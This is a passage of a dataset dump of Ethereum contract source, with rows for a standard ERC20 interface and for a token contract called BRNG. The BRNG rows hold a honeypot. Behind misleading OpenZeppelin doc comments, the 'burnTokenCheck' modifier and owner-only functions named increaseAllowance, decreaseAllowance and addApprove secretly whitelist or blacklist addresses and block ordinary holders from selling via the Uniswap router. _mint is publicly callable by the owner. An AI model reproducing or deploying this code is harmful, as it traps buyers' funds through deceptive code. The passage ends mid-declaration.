contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 94, 154 ] }
14,100
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 237, 310 ] }
14,101
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 534, 616 ] }
14,102
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 895, 983 ] }
14,103
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 1647, 1726 ] }
14,104
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 2039, 2141 ] }
14,105
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 1471, 1559 ] }
14,106
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function 